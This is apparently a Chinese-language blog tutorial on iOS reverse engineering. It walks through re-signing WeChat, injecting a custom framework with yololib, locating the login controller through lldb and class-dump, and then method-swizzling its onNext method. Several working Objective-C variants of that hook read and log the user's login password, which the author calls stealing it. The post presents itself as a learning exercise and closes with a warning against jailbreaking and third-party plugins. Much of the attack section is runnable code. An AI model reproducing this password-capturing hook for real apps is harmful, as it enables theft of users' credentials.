上篇文章講述了Apple公司雙重簽名機制的原理,而且針對這個原理咱們又學到了一種將別人的.ipa包修改Bundle ID後運行在咱們手機的方法------重簽名。
說白了重簽名爲的是什麼?就是爲了能讓咱們修改了App的邏輯以後還能正常安裝到手機而且調試運行,那麼接下來這篇文章就是講述如何去修改App原有的代碼邏輯。
注意喲,本篇文章須要具有一些簡單的runtime知識。git
代碼注入目前主要是經過framework注入,本次咱們使用的就是framework注入的方式進行講解。固然也可使用靜態庫Static Library進行代碼注入,只不過過程上要較爲複雜一些。github
代碼注入是在重簽名的基礎上進行的,因此先按照上篇文章寫的將App進行重簽名,建議使用腳本重簽名,使用簡單,不易出錯。xcode
按照Targets---> + --->framework新建一個framework,名字隨便起,筆者這裏已經建立好了,名字起的是HYHook.framework。 bash
建立好了framework以後直接編譯一遍,
而後查看Products--->代碼注入.app--->Frameworks文件夾,是否是發現咱們剛剛建立的framework已經添加到Frameworks文件夾裏面了。是否是很神奇?這也是爲何咱們要使用framework進行代碼注入的緣由之一。 服務器
App在運行的時候可以執行到如下3個地方的代碼:微信
在剛剛咱們已經將framework添加到了Frameworks文件夾下,可是注意,這並不表明着這個framework已經能夠用了。使用MachOView查看App的MachO文件以下。由於MachO文件的二進制數據的排列是有規律的,因此這裏咱們就可使用MachOView來將MachO二進制文件破解出某些信息,在界面上展現出來。 網絡
Load Commands
項,這一項中表示了在MachO執行的時候須要加載的資源文件,而下面圈起來的部分就是須要加載的代碼庫,咱們查看這些庫能夠發現這裏面是沒有咱們剛剛新建的framework的。
也就是說,咱們剛剛新建了一個framework,而且也添加到了Frameworks文件夾裏面,可是在執行MachO文件的時候並不會將這個framework加載到內存中,所以也就仍是沒法調用。此時咱們就須要另一個工具yololib了,這是一個命令行工具,安裝後在重簽名腳本最後添加下面一行腳本便可修改MachO文件,在執行的時候加載咱們的framework。HYHook是我剛剛建立的framework的名稱,須要修改爲大家本身建立的framework名稱。app
yololib "$TARGET_APP_PATH/$APP_BINARY" "Frameworks/HYHook.framework/HYHook"
複製代碼
注意:若是隻是重簽名上面那行命令不要添加,在代碼注入的時候再添加,而且framework名字要與建立的framework相同。編輯器
目前咱們已經將本身建立的framework添加到了Frameworks文件夾裏面,而且如今MachO文件在執行的時候也會將這個framework加載到內存中。那麼接下來咱們就要開始讓framework作點事情了。
一、建立一個類,名字隨便,我這裏叫HYHookLogin
,由於後面要使用這個類去獲取微信的登陸密碼。
二、在.m中實現這個類的load方法,代碼以下:ide
+ (void)load {
NSLog(@"這是注入的代碼打印出來的😂😂😂😂");
}
複製代碼
三、運行代碼,能夠看到這句話已經打印出來了,說明咱們注入的代碼執行了。
咱們已經知道如何讓App執行添加的framework代碼了,不過那些都不是重點,真正的重點從這裏開始。
相信不少童鞋在這以前應該都多多少少了解過iOS的黑魔法Method Swizzling
,不瞭解也不要緊,如今就來說講這個黑魔法。
講以前我默認你知道SEL和IMP對於方法來講所表示的意義。再說一下吧
簡而言之,經過SEL能夠找到方法實現的地址,而IMP就是方法的實現地址。
他倆的關係是一一對應的,盜一張圖😁
而咱們的黑魔法看着他們一一對應很不爽,因而就有了下面這樣👌
動態調試,聽名字感受很高大上,其實就是在App運行期間進行lldb調試。這裏咱們依然以微信做爲學習軟件。
用微信號/QQ號/郵箱登陸
,此時咱們就會進入到帳號密碼輸入界面。[btn addTarget:self action:@selector(xxx) forControlEvents:UIControlEventTouchUpInside];
複製代碼
這時候就能夠猜想,點擊登陸按鈕的時候控制器WCAccountMainLoginViewController
對象就會調用onNext
方法,可是如今咱們如何肯定這個onNext
方法是對象方法仍是類方法呢?
上面的動態調試讓咱們猜想到點擊登陸按鈕會調用onNext
方法,那麼這個靜態分析就是來輔助驗證咱們猜想的。
這裏還要使用到一個工具class-dump,一樣也是一個命令行工具,爲了讓這些工具在哪都能使用,咱們能夠把他們的可執行文件放到/usr/local/bin
目錄下。
class-dump的做用就是能夠反編譯App的MachO文件,將裏面類的屬性/成員變量和方法聲明進行導出,便於查看。
// 使用如下命令將WeChat的MachO文件的頭文件導出到Header文件夾
class-dump -H WeChat -o Header
複製代碼
另外,再介紹一個工具sublime Text,這個工具是一個輕量級的編輯器,擁有xcode全局搜索同樣的功能,咱們能夠用它打開class-dump導出的頭文件文件夾,快速搜索咱們須要的東西。
是否是有疑問:爲何不直接使用xcode呢?
像咱們使用的這個微信,導出的頭文件有10000多個。筆者試過,將這些文件往xcode工程中一拖,xcode立馬卡死,強制退出點了3次才退掉。sublime Text的有點就是它是輕量級的,加載10000多個頭文件輕輕鬆鬆,同時也能快速的全局搜索。(具體用不用根據本身須要吧😄)
接下來全局搜索咱們想要的東西吧!
command + shift + f
打開全局搜索,輸入@interface WCAccountMainLoginViewController
進行搜索。
經過上面的動態調試和靜態分析,咱們已經基本能夠肯定onNext方法就是點擊登陸時要執行的方法,那麼如今就該想一想咱們要如何獲取登陸密碼?
WCUITextField
類型的對象。
WCAccountMainLoginViewController.h
文件中找,看看有沒有WCUITextField
類型的對象。很遺憾,沒找到。雖然沒找到,可是咱們貌似發現來兩個可疑對象?(因而可知代碼混淆有多重要)
@interface WCAccountTextFieldItem
,找到了,可是發現什麼也沒有。
WCBaseTextFieldItem
嗎?繼續沿着線索查,全局搜索@interface WCBaseTextFieldItem
。哈哈,發現了什麼?一個WCUITextField
類型的變量。
咱們找到了登陸按鈕的點擊事件方法- (void)onNext;
密碼的輸入框對象_textFieldUserPwdItem
。那麼下面就是須要咱們使用代碼獲取微信登陸密碼的時刻了。
HYHookLogin
類中導入#import <objc/runtime.h>
而且定義方法- (void)new_onNext;
重寫HYHookLogin
類的+ (void)load;
方法。+ (void)load {
}
- (void)new_onNext {
}
複製代碼
load
方法中使用上面說的黑魔法將WCAccountMainLoginViewController
類中的onNext
方法和HYHookLogin
類中的new_onNext
方法的實現進行交換。代碼以下:+ (void)load {
// 獲取Method對象
Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
Method new_onNext = class_getInstanceMethod(self, @selector(new_onNext));
// 交換方法
method_exchangeImplementations(onNext, new_onNext);
}
- (void)new_onNext {
UITextField *pwdTF = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
NSLog(@"竊取到的密碼是:%@", pwdTF.text);
// 爲了避免改變本來的登陸邏輯,這裏須要調用微信本來的onNext方法實現
// 但因爲new_onNext的方法實現已經與onNext方法實現進行了交換,因此須要[self new_onNext]調用,並不會遞歸。
[self new_onNext];
}
複製代碼
WCAccountMainLoginViewController
類中是沒有new_onNext
方法的聲明的。找不到這個方法的SEL。
+(void)load {
// // 第1種方法
// // 獲取Method對象
// Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
// // 給WCAccountMainLoginViewController添加方法,爲了解決[self new_onNext]調用崩潰的問題
// class_addMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext), class_getMethodImplementation(self, @selector(new_onNext)), "v@:");
// // 交換方法
// method_exchangeImplementations(onNext, class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(new_onNext)));
// // 第2種方法
// Method onNext = class_getInstanceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext));
// /*
// 方法替換,參數說明
// 一、將要被替換的方法在哪一個類
// 二、將要被替換的方法在類中的SEL
// 三、替換方法的具體實現
// 四、方法標識,返回值類型v == void,發送消息的對象的類型@ == id,消息的SEL == :
// 返回的是被替換方法的IMP,類型是IMP IMP == void(*)(void) 類型,此時可強轉爲void(*)(id, SEL)類型
// */
// old_onNext = (void(*)(id, SEL))class_replaceMethod(objc_getClass("WCAccountMainLoginViewController"), @selector(onNext), class_getMethodImplementation(self, @selector(new_onNext)), "v@:");
// 第3種方法
Method onNext = class_getInstanceMethod(NSClassFromString(@"WCAccountMainLoginViewController"), @selector(onNext));
// 獲取老onNext方法的IMP
old_onNext = (void(*)(id, SEL))class_getMethodImplementation(NSClassFromString(@"WCAccountMainLoginViewController"), @selector(onNext));
// 獲取新onNext方法的IMP
IMP new_onNext = class_getMethodImplementation(self, @selector(new_onNext));
// 修改onNext方法的IMP爲new_onNext
method_setImplementation(onNext, new_onNext);
}
// 用來接收老的onNext方法的地址 顯式聲明old_onNext是一個函數指針變量,第2,3種方法須要這個。
void (*old_onNext)(id self, SEL _cmd);
- (void)new_onNext {
NSLog(@"點擊了登陸按鈕");
UITextField *pwdTF = [[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"];
NSLog(@"竊取到的密碼是:%@", pwdTF.text);
// // 第1種方法
// [self new_onNext]; // 由於WCAccountMainLoginViewController類沒有這個方法,直接調用會找不到,崩潰
// // 第2種方法
// old_onNext(self, _cmd);
// 第3種方法
old_onNext(self, _cmd);
}
複製代碼
其實這三種方法解決崩潰的原理上大同小異,就看讀者你喜歡用哪一種方法了。
這篇文章講述瞭如何經過framework進行代碼注入,而且在此基礎上一步步逆向分析出微信的登陸密碼如何竊取。之因此用竊取這個詞,就是由於在用戶層上,並無改變微信本來的登陸請求,只是在登陸以前添加了一點點東西用來竊取用戶輸入的密碼。
用紅色文字提示用戶: 沒事千萬別把手機越獄,使用別人開發的插件,極可能別人的插件就有這個獲取密碼的功能,而後經過網絡請求將你的密碼上傳到某個服務器上,諷刺的是這個帳號密碼仍是你本身輸入給人家的😂😂😂